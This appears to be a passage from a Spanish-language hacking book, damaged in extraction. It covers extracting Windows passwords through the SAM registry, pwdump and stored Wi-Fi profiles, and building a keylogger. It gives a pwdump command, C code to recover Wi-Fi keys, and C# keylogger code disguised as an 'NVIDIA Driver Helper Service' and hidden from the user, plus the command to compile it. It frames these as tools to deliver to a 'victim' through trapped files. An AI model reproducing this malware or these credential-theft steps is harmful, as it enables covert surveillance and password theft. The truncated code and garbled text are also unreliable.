controlador de dominio
Este captulo nos permitir demostrar que es posible cambiar la contrasea de un usuario sin
tener conocimiento de la antigua contrasea, extraer las contraseas guardadas en un equipo
local o un controlador de domino. Es tambin posible escuchar las conversaciones de red para
recuperar las informaciones de autenticacin sin necesidad de acceder directamente al
sistema o descifrar una contrasea interceptada aunque est protegida.
Vamos a empezar por modificar la contrasea de un usuario sin saber la antigua. A decir
verdad, es el usuario quien la va a cambiar. Para ello, vamos a encapsular el siguiente script
con una de las tcnicas vistas en el captulo anterior, es decir, entregar a nuestra vctima un
documento, una aplicacin o un zip trampa con un pequeo trozo de cdigo.
Aqu tiene el script si va a modificar una aplicacin o un controlador.
El resto de los pasos han sido explicados en el captulo anterior, que puede tomar como
referencia. Una vez el documento o la aplicacin ejecutada, la contrasea del usuario se
cambiar en el dominio. Si la contrasea local debe modificarse, quite /Domain al final de la
lnea de comandos.
El fichero forma parte, como otros ficheros del registro del equipo, de una carpeta de
sistema.
Offline, arrancando con un medio oficial de Windows, es posible leer el fichero SAM o
robarlo para crackearlo ms tarde. Puede acceder tambin con los permisos de sistema
creando un servicio o adquiriendo los privilegios de sistema en el PC. Entonces puede leer
la parte del registro que guarda estas contraseas con regedit en su equipo actual. Para
obtener los permisos de sistema en un equipo, vaya al captulo Tomar el rol de
administrador o de sistema.
Seguidamente, puede ver un ejemplo sobre un sistema sin necesidad de reinicio usando
los privilegios de sistema:
Encontrar datos como las contraseas cifradas y las informaciones sobre los grupos de
seguridad en el registro: SAM\SAM\Domains\Account\Users
Gracias a los permisos de sistema, puede ver elementos que normalmente no puede ver
un usuario, como por ejemplo, en la imagen siguiente, para el usuario Admin, el valor
0x3e8, que corresponde a su RID, es decir, 1006 en decimal.
61feeb455de86806b42b88f55f2d569d
Usaremos esta informacin cuando intentemos averiguar la contrasea.
Pwdump puede usarse remotamente si el servidor no tiene activado el firewall local, pero
s los servicios de gestin remota.
pwdump -o passwd.txt -u Dominio\Usuario -p contrasea NombrePC
Existen otras herramientas para la lnea de comandos, como SAMDump, cuyo principio
de uso es parecido al ya descrito. En resumen, es posible extraer el hash de la contrasea
de un usuario, ya sea este local o en un dominio. Se debe tener para eso privilegios de
sistema en el equipo que lo almacena. Encontrar otras herramientas en el captulo
Desarrollar sus propias herramientas de hacking - Romper una contrasea.
El GUID del equipo tambin es ledo justo antes que la clave anterior en el cifrado o
descifrado de la contrasea. Es normal, ya que el GUID se usa al realizar estas
operaciones de cifrado, as como la URL.
Desde
IE7
hasta
IE9,
el
navegador
guarda
las
HKCU\Software\Microsoft\Internet Explorer\IntelliForms\Storage2
contraseas
en:
IE10 utiliza el Credential Manager para recordar sus contraseas en un fichero que se
encuentra
en
el
directorio:
C:\Users\
[NombreUsuario]\AppData\Roaming\Microsoft\Credentials
Las informaciones de las claves se almacenan en un fichero XML con un nombre aleatorio.
Para comprender mejor el funcionamiento del guardado de estas claves, vamos a crear
una nueva conexin segura y buscaremos la contrasea.
Cree una nueva conexin de red inalmbrica desde el Panel de control.
#include <windows.h>
#include <wlanapi.h>
#include <objbase.h>
#include <wtypes.h>
#include <stdio.h>
#include <stdlib.h>
DWORD dwMaxClient = 2;
//
DWORD dwCurVersion = 0;
DWORD dwResult = 0;
DWORD dwRetVal = 0;
int iRet = 0;
unsigned int i;
if (argc < 2) {
wprintf(L"usage: %s <profile>\n", argv[0]);
wprintf(L"
wprintf(L"
Example\n");
wprintf(L"
exit(1);
}
pProfileName = argv[1];
iRet = StringFromGUID2(pIfInfo->InterfaceGuid,
(LPOLESTR) &GuidString,
sizeof(GuidString)/sizeof(*GuidString));
// For c rather than C++ source code, the above line needs to be
// iRet = StringFromGUID2(&pIfInfo->InterfaceGuid,
(LPOLESTR) &GuidString,
//
sizeof(GuidString)/sizeof(*GuidString));
if (iRet == 0)
wprintf(L"StringFromGUID2 failed\n");
else {
wprintf(L"
}
wprintf(L"
pIfInfo->strInterfaceDescription);
wprintf(L"\n");
wprintf(L"
switch (pIfInfo->isState) {
case wlan_interface_state_not_ready:
wprintf(L"Not ready\n");
break;
case wlan_interface_state_connected:
wprintf(L"Connected\n");
break;
case wlan_interface_state_ad_hoc_network_formed:
wprintf(L"First node in a ad hoc network\n");
break;
case wlan_interface_state_disconnecting:
wprintf(L"Disconnecting\n");
break;
case wlan_interface_state_disconnected:
wprintf(L"Not connected\n");
break;
case wlan_interface_state_associating:
wprintf(L"Attempting to associate with a network\n");
break;
case wlan_interface_state_discovering:
wprintf(L"Auto configuration is discovering
settings for the network\n");
break;
case wlan_interface_state_authenticating:
wprintf(L"In process of authenticating\n");
break;
default:
wprintf(L"Unknown state %ld\n", pIfInfo->isState);
break;
}
wprintf(L"\n\n");
dwResult = WlanGetProfile(hClient,
&pIfInfo->InterfaceGuid,
pProfileName,
NULL,
&pProfileXml,
&dwFlags,
&dwGrantedAccess);
if (dwResult != ERROR_SUCCESS) {
wprintf(L"WlanGetProfile failed with error: %u\n",
dwResult);
// You can use FormatMessage to find out why the function
failed
} else {
wprintf(L"
Profile Name:
%ws\n", pProfileName);
wprintf(L"
wprintf(L"%ws\n\n", pProfileXml);
wprintf(L"
//
dwFlags:\t
0x%x", dwFlags);
//
wprintf(L"
Group Policy");
wprintf(L"\n");
wprintf(L"
dwGrantedAccess:
0x%x", dwGrantedAccess);
Read access");
Execute access");
Write access");
wprintf(L"\n");
wprintf(L"\n");
}
}
}
if (pProfileXml != NULL) {
WlanFreeMemory(pProfileXml);
pProfileXml = NULL;
if (pIfList != NULL) {
WlanFreeMemory(pIfList);
pIfList = NULL;
}
return dwRetVal;
}
Una vez el cdigo compilado, puede usar el programa con objeto de recuperar una
contrasea guardada para una red inalmbrica determinada.
Ejecute su programa con privilegios elevados indicando como parmetro el SSID de la red Wifi.
Preste atencin a las maysculas y minsculas, ya que son importantes.
El resultado se presenta en pantalla en el valor keyMaterial.
d. Otras herramientas
Vamos a desarrollar herramientas para recuperar las contraseas de cada aplicacin,
aunque existen una multitud de herramientas gratuitas descargables.
Adems, la mayora de estas herramientas se puede obtener con script, lo que permite
una eventual comunicacin con su aplicacin.
Por ejemplo, en el sitio web http://www.nirsoft.net/ encontrar herramientas que
permiten recuperar las contraseas almacenadas desde las versiones IE7 hasta IE9.
Una herramienta que permite recuperar la contrasea del Wifi (como la que acabamos de
desarrollar):
Outlook Password Decryptor permite obtener informaciones interesantes sobre las cuentas
de correo electrnico almacenadas. En el entorno de las pymes, no es raro disponer de
cuentas de correo electrnico POP o IMAP.
Word Password Recovery permite encontrar las contraseas de los documentos de Word
protegidos:
3. Contramedidas
Para impedir la extraccin de las contraseas, en primer lugar debe evitar que los usuarios
puedan convertirse en administradores de un equipo o del dominio. Solo as conseguir
reducir las fugas de informacin. Debe instalar un antivirus eficaz y actualizarlo diariamente
para que detecte productos como Pwdump y los dems programas de extraccin de
contraseas. A nivel de procedimiento, configure distintas cuentas de usuario para la
administracin de los equipos, de los servidores y de los controladores de dominio. Para
cada usuario con necesidad de permisos de administracin, cree una cuenta de usuario
diferente segn el rol con objeto de cumplir el principio del mnimo privilegio.
Por ejemplo, para el usuario Bob:
Cree una cuenta Bob para el uso habitual como el correo electrnico, los
documentos, la navegacin web, etc.
Esto reducir la gravedad de un ataque si una de las cuentas es hackeada por un programa
maligno.
Condiciones generales de uso
Crear un keylogger
Existen numerosos keyloggers. La mayora de ellos usan un sistema muy conocido, el mtodo
SetWindowsHookEx, que permite almacenar las teclas pulsadas. Sin embargo, es tambin lo
primero que miran los sistemas de seguridad para impedir la captura del teclado.
Encontrar ms informacin sobre el mtodo SetWindowsHookEx en el sitio web de Microsoft,
en
la
siguiente
direccin:
http://msdn.microsoft.com/enus/library/windows/desktop/ms644990(v=vs.85).aspx
Vamos a usar una tcnica diferente para ser ms discretos. Nuestro programa ir pidiendo
regularmente las teclas en vez de suscribirse a los eventos de teclado. El cdigo que
presentamos gestiona la tecla pulsada pero no si esta se escribe en maysculas, es decir si
[Alt] o [Mays] son pulsadas al mismo tiempo.
1. Principios bsicos
Para esconder un poco ms la aplicacin en el administrador de tareas, vamos a darle un
nombre con sus propiedades. Esto se hace por medio de las propiedades de la aplicacin.
El nombre dado se parece al de un servicio de driver.
using System.Reflection;
[assembly:AssemblyTitle("Driver Helper Service, Version 302.57")]
[assembly:AssemblyVersion("7.17.13.697")]
[assembly:AssemblyDescription("Driver Helper Service, Version 302.57")]
[assembly:AssemblyCompany("Global Corporation. All rights reserved.")]
Usaremos en .NET User32.dll, que nos permitir buscar las informaciones tecleadas con
toda discrecin. La funcin DllImport va a permitirnos cargar esta DLL.
[DllImport("User32.dll")]
private static extern int GetAsyncKeyState (long vKey);
[DllImport("user32.dll")]
static extern uint MapVirtualKey(uint uCode, uint uMapType);
Esta vez crearemos una aplicacin que no se mostrar al usuario. Es una aplicacin de tipo
Windows. No cargaremos el Form principal en el programa. Configuraremos asimismo las
propiedades de la aplicacin para que no aparezca en la parte clsica del administrador de
tareas.
f1.Name = "NVIDIA Driver Helper Service";
f1.ShowInTaskbar = false;
f1.Hide();
Application.Run();
Todas estas particularidades permitirn que nuestra aplicacin sea discreta y eficaz. Le
quedar aadir la aplicacin al arranque, como hemos visto en el captulo anterior.
2. Crear la aplicacin
Cree un nuevo fichero de texto llamado Driver.txt y aada el siguiente cdigo:
using System;
using System.Collections.Generic;
using System.Text;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.IO;
using System.Threading;
using System.Reflection;
[assembly:AssemblyTitle("Driver Helper Service, Version 302.57")]
[assembly:AssemblyVersion("7.17.13.697")]
[assembly:AssemblyDescription("Driver Helper Service, Version 302.57")]
[assembly:AssemblyCompany("Global Corporation. All rights reserved.")]
namespace keyLogger
{
class Program
{
[DllImport("User32.dll")]
private static extern int GetAsyncKeyState (long vKey);
[DllImport("user32.dll")]
static extern uint MapVirtualKey(uint uCode, uint uMapType);
fichero.Flush();
}
}
}
3. Compilar la aplicacin
Esta vez, nuestra aplicacin es una aplicacin Windows Forms invisible. El tipo de destino
debe ser winexe.
Vaya al directorio del framework 2 o 4 y ejecute el comando de compilacin. A continuacin
le recordamos el comando para el Framework 2:
cd C:\Windows\Microsoft.NET\Framework\v2.0.50727
csc /out:c:\temp\nkey.exe /target:winexe c:\temp\driver.txt
Una vez arrancada la aplicacin, esta no se presenta al usuario ni tampoco en la parte
clsica del administrador de tareas.